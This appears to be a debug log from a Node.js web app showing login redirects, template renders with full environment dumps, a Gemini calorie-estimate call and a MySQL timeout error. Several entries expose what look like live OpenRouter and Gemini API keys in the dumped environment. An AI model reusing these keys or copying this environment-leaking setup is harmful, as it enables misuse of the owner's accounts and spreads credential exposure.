2025-12-22T15:38:20.224Z server-connect:app options: { provider: 'security' }
2025-12-22T15:38:20.225Z server-connect:output identity: 1
2025-12-22T15:38:21.964Z server-connect:app Executing action step identify
2025-12-22T15:38:21.964Z server-connect:app options: { provider: 'security' }
2025-12-22T15:38:21.964Z server-connect:output identity: 1
2025-12-22T15:38:43.567Z server-connect:router Serving templateView /
2025-12-22T15:38:43.568Z server-connect:app Executing action step identify
2025-12-22T15:38:43.568Z server-connect:app options: { provider: 'security' }
2025-12-22T15:38:43.568Z server-connect:auth No login cookie found
2025-12-22T15:38:43.568Z server-connect:output identity: false
2025-12-22T15:38:43.568Z server-connect:app Executing action step restrict
2025-12-22T15:38:43.568Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-22T15:38:43.568Z server-connect:output restrict: undefined
2025-12-22T15:38:43.686Z server-connect:router Serving templateView /login
2025-12-22T15:38:43.686Z server-connect:app Executing action step identify
2025-12-22T15:38:43.686Z server-connect:app options: { provider: 'security' }
2025-12-22T15:38:43.687Z server-connect:auth No login cookie found
2025-12-22T15:38:43.687Z server-connect:output identity: false
2025-12-22T15:38:43.687Z server-connect:router Render template layouts/authentication
2025-12-22T15:38:43.687Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '52.23.34.90',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-23T15:38:43.686Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '52.23.34.90',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '52.23.34.90',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2025-12-22T15:50:03.132Z server-connect:app Executing action step identify
2025-12-22T15:50:03.132Z server-connect:app options: { provider: 'security' }
2025-12-22T15:50:03.132Z server-connect:output identity: 1
2025-12-22T15:50:04.979Z server-connect:app Executing action step identify
2025-12-22T15:50:04.979Z server-connect:app options: { provider: 'security' }
2025-12-22T15:50:04.979Z server-connect:output identity: 1
2025-12-22T15:56:05.333Z server-connect:router Serving templateView /
2025-12-22T15:56:05.333Z server-connect:app Executing action step identify
2025-12-22T15:56:05.333Z server-connect:app options: { provider: 'security' }
2025-12-22T15:56:05.334Z server-connect:auth No login cookie found
2025-12-22T15:56:05.334Z server-connect:output identity: false
2025-12-22T15:56:05.334Z server-connect:app Executing action step restrict
2025-12-22T15:56:05.334Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-22T15:56:05.334Z server-connect:output restrict: undefined
2025-12-22T15:56:05.435Z server-connect:router Serving templateView /login
2025-12-22T15:56:05.435Z server-connect:app Executing action step identify
2025-12-22T15:56:05.435Z server-connect:app options: { provider: 'security' }
2025-12-22T15:56:05.435Z server-connect:auth No login cookie found
2025-12-22T15:56:05.435Z server-connect:output identity: false
2025-12-22T15:56:05.435Z server-connect:router Render template layouts/authentication
2025-12-22T15:56:05.435Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '52.23.34.90',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-23T15:56:05.434Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: false,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '52.23.34.90',
    REQUEST_PROTOCOL: 'http',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'http://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '52.23.34.90',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz'
  },
  identity: false,
  content: '/login'
}
2025-12-22T15:58:23.126Z server-connect:app Executing action step identify
2025-12-22T15:58:23.126Z server-connect:app options: { provider: 'security' }
2025-12-22T15:58:23.126Z server-connect:output identity: 1
2025-12-22T15:58:25.192Z server-connect:app Executing action step identify
2025-12-22T15:58:25.192Z server-connect:app options: { provider: 'security' }
2025-12-22T15:58:25.192Z server-connect:output identity: 1
2025-12-22T16:14:41.681Z server-connect:app Executing action step identify
2025-12-22T16:14:41.681Z server-connect:app options: { provider: 'security' }
2025-12-22T16:14:41.681Z server-connect:output identity: 1
2025-12-22T16:14:44.017Z server-connect:app Executing action step identify
2025-12-22T16:14:44.017Z server-connect:app options: { provider: 'security' }
2025-12-22T16:14:44.017Z server-connect:output identity: 1
2025-12-22T16:20:37.231Z server-connect:app Executing action step identify
2025-12-22T16:20:37.231Z server-connect:app options: { provider: 'security' }
2025-12-22T16:20:37.231Z server-connect:output identity: 1
2025-12-22T16:20:39.012Z server-connect:app Executing action step identify
2025-12-22T16:20:39.012Z server-connect:app options: { provider: 'security' }
2025-12-22T16:20:39.012Z server-connect:output identity: 1
2025-12-22T16:27:07.226Z server-connect:app Executing action step identify
2025-12-22T16:27:07.226Z server-connect:app options: { provider: 'security' }
2025-12-22T16:27:07.226Z server-connect:output identity: 1
2025-12-22T16:27:10.011Z server-connect:app Executing action step identify
2025-12-22T16:27:10.011Z server-connect:app options: { provider: 'security' }
2025-12-22T16:27:10.011Z server-connect:output identity: 1
2025-12-22T16:30:41.747Z server-connect:app Executing action step identify
2025-12-22T16:30:41.747Z server-connect:app options: { provider: 'security' }
2025-12-22T16:30:41.747Z server-connect:output identity: 1
2025-12-22T16:30:50.286Z server-connect:app Executing action step identify
2025-12-22T16:30:50.286Z server-connect:app options: { provider: 'security' }
2025-12-22T16:30:50.286Z server-connect:output identity: 1
2025-12-22T16:32:49.992Z server-connect:app Executing action step identify
2025-12-22T16:32:49.992Z server-connect:app options: { provider: 'security' }
2025-12-22T16:32:49.992Z server-connect:output identity: 1
2025-12-22T16:32:52.423Z server-connect:app Executing action step identify
2025-12-22T16:32:52.423Z server-connect:app options: { provider: 'security' }
2025-12-22T16:32:52.423Z server-connect:output identity: 1
2025-12-22T16:33:30.657Z server-connect:app Executing action step identify
2025-12-22T16:33:30.658Z server-connect:app options: { provider: 'security' }
2025-12-22T16:33:30.658Z server-connect:output identity: 1
2025-12-22T16:33:34.056Z server-connect:app Executing action step identify
2025-12-22T16:33:34.056Z server-connect:app options: { provider: 'security' }
2025-12-22T16:33:34.057Z server-connect:output identity: 1
2025-12-22T16:35:14.073Z server-connect:router Serving templateView /
2025-12-22T16:35:14.074Z server-connect:app Executing action step identify
2025-12-22T16:35:14.074Z server-connect:app options: { provider: 'security' }
2025-12-22T16:35:14.074Z server-connect:auth No login cookie found
2025-12-22T16:35:14.074Z server-connect:output identity: false
2025-12-22T16:35:14.074Z server-connect:app Executing action step restrict
2025-12-22T16:35:14.074Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-22T16:35:14.074Z server-connect:output restrict: undefined
2025-12-22T16:35:14.174Z server-connect:router Serving templateView /login
2025-12-22T16:35:14.174Z server-connect:app Executing action step identify
2025-12-22T16:35:14.174Z server-connect:app options: { provider: 'security' }
2025-12-22T16:35:14.174Z server-connect:auth No login cookie found
2025-12-22T16:35:14.174Z server-connect:output identity: false
2025-12-22T16:35:14.174Z server-connect:router Render template layouts/authentication
2025-12-22T16:35:14.175Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '100.51.235.151',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-23T16:35:14.174Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '100.51.235.151',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '100.51.235.151',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2025-12-22T16:38:55.898Z server-connect:app Executing action step identify
2025-12-22T16:38:55.898Z server-connect:app options: { provider: 'security' }
2025-12-22T16:38:55.898Z server-connect:output identity: 1
2025-12-22T16:38:59.249Z server-connect:app Executing action step identify
2025-12-22T16:38:59.249Z server-connect:app options: { provider: 'security' }
2025-12-22T16:38:59.249Z server-connect:output identity: 1
2025-12-22T16:41:37.142Z server-connect:app Executing action step identify
2025-12-22T16:41:37.142Z server-connect:app options: { provider: 'security' }
2025-12-22T16:41:37.142Z server-connect:output identity: 1
2025-12-22T16:41:38.569Z server-connect:app Executing action step identify
2025-12-22T16:41:38.569Z server-connect:app options: { provider: 'security' }
2025-12-22T16:41:38.569Z server-connect:output identity: 1
2025-12-22T16:44:21.017Z server-connect:app Executing action step identify
2025-12-22T16:44:21.017Z server-connect:app options: { provider: 'security' }
2025-12-22T16:44:21.017Z server-connect:output identity: 1
2025-12-22T16:44:24.004Z server-connect:app Executing action step identify
2025-12-22T16:44:24.004Z server-connect:app options: { provider: 'security' }
2025-12-22T16:44:24.004Z server-connect:output identity: 1
2025-12-22T16:47:03.973Z server-connect:app Executing action step identify
2025-12-22T16:47:03.973Z server-connect:app options: { provider: 'security' }
2025-12-22T16:47:03.973Z server-connect:output identity: 1
2025-12-22T16:47:14.555Z server-connect:app Executing action step identify
2025-12-22T16:47:14.555Z server-connect:app options: { provider: 'security' }
2025-12-22T16:47:14.555Z server-connect:output identity: 1
2025-12-22T16:51:07.723Z server-connect:router Serving templateView /
2025-12-22T16:51:07.723Z server-connect:app Executing action step identify
2025-12-22T16:51:07.723Z server-connect:app options: { provider: 'security' }
2025-12-22T16:51:07.723Z server-connect:auth No login cookie found
2025-12-22T16:51:07.723Z server-connect:output identity: false
2025-12-22T16:51:07.724Z server-connect:app Executing action step restrict
2025-12-22T16:51:07.724Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-22T16:51:07.724Z server-connect:output restrict: undefined
2025-12-22T16:51:07.842Z server-connect:router Serving templateView /login
2025-12-22T16:51:07.842Z server-connect:app Executing action step identify
2025-12-22T16:51:07.843Z server-connect:app options: { provider: 'security' }
2025-12-22T16:51:07.843Z server-connect:auth No login cookie found
2025-12-22T16:51:07.843Z server-connect:output identity: false
2025-12-22T16:51:07.843Z server-connect:router Render template layouts/authentication
2025-12-22T16:51:07.843Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '100.51.235.151',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-23T16:51:07.842Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: false,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '100.51.235.151',
    REQUEST_PROTOCOL: 'http',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'http://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '100.51.235.151',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz'
  },
  identity: false,
  content: '/login'
}
2025-12-22T16:52:28.703Z server-connect:app Executing action step identify
2025-12-22T16:52:28.703Z server-connect:app options: { provider: 'security' }
2025-12-22T16:52:28.703Z server-connect:output identity: 1
2025-12-22T16:52:32.410Z server-connect:app Executing action step identify
2025-12-22T16:52:32.410Z server-connect:app options: { provider: 'security' }
2025-12-22T16:52:32.410Z server-connect:output identity: 1
2025-12-22T16:53:31.413Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-22T16:53:31.413Z server-connect:app Executing action step identify
2025-12-22T16:53:31.413Z server-connect:app options: { provider: 'security' }
2025-12-22T16:53:31.413Z server-connect:output identity: 1
2025-12-22T16:53:31.413Z server-connect:app Executing action step restrict
2025-12-22T16:53:31.413Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-22T16:53:31.415Z server-connect:output restrict: undefined
2025-12-22T16:53:31.415Z server-connect:app Executing action step processWithGemini
2025-12-22T16:53:31.415Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-22T16:53:33.857Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Milk',
      quantity: '1 glass (approx 200ml, whole milk)',
      calories_consumed: 124,
      total_calories: 124,
      protein: 6.6,
      carbs: 9.4,
      fat: 6.8,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: null
    },
    {
      food_name: 'Whey Protein',
      quantity: '27g protein (assuming typical whey protein isolate with ~80% protein content, so 33.75g powder)',
      calories_consumed: 135,
      total_calories: 135,
      protein: 27,
      carbs: 2.7,
      fat: 2.7,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: null
    }
  ],
  total_macros: {
    total_calories: 259,
    total_protein: 33.6,
    total_carbs: 12.1,
    total_fat: 9.5,
    unit: {
      total_calories: 'kcal',
      total_protein: 'g',
      total_carbs: 'g',
      total_fat: 'g'
    }
  }
}
2025-12-22T16:55:10.905Z server-connect:app Executing action step identify
2025-12-22T16:55:10.905Z server-connect:app options: { provider: 'security' }
2025-12-22T16:55:10.905Z server-connect:output identity: 1
2025-12-22T16:55:14.419Z server-connect:app Executing action step identify
2025-12-22T16:55:14.419Z server-connect:app options: { provider: 'security' }
2025-12-22T16:55:14.419Z server-connect:output identity: 1
2025-12-22T16:57:55.602Z server-connect:app Executing action step identify
2025-12-22T16:57:55.602Z server-connect:app options: { provider: 'security' }
2025-12-22T16:57:55.602Z server-connect:output identity: 1
2025-12-22T16:57:58.349Z server-connect:app Executing action step identify
2025-12-22T16:57:58.349Z server-connect:app options: { provider: 'security' }
2025-12-22T16:57:58.349Z server-connect:output identity: 1
2025-12-22T17:00:35.667Z server-connect:app Executing action step identify
2025-12-22T17:00:35.667Z server-connect:app options: { provider: 'security' }
2025-12-22T17:00:35.667Z server-connect:output identity: 1
2025-12-22T17:00:36.428Z server-connect:app Executing action step identify
2025-12-22T17:00:36.428Z server-connect:app options: { provider: 'security' }
2025-12-22T17:00:36.429Z server-connect:output identity: 1
2025-12-22T17:07:19.267Z server-connect:router Serving templateView /
2025-12-22T17:07:19.268Z server-connect:app Executing action step identify
2025-12-22T17:07:19.268Z server-connect:app options: { provider: 'security' }
2025-12-22T17:07:19.268Z server-connect:auth No login cookie found
2025-12-22T17:07:19.268Z server-connect:output identity: false
2025-12-22T17:07:19.268Z server-connect:app Executing action step restrict
2025-12-22T17:07:19.268Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-22T17:07:19.269Z server-connect:output restrict: undefined
2025-12-22T17:07:19.386Z server-connect:router Serving templateView /login
2025-12-22T17:07:19.386Z server-connect:app Executing action step identify
2025-12-22T17:07:19.387Z server-connect:app options: { provider: 'security' }
2025-12-22T17:07:19.387Z server-connect:auth No login cookie found
2025-12-22T17:07:19.387Z server-connect:output identity: false
2025-12-22T17:07:19.387Z server-connect:router Render template layouts/authentication
2025-12-22T17:07:19.387Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '100.51.235.151',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-23T17:07:19.386Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '100.51.235.151',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '100.51.235.151',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2025-12-22T17:08:25.463Z server-connect:app Executing action step identify
2025-12-22T17:08:25.464Z server-connect:app options: { provider: 'security' }
2025-12-22T17:08:25.464Z server-connect:output identity: 1
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-22 17:20:43' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
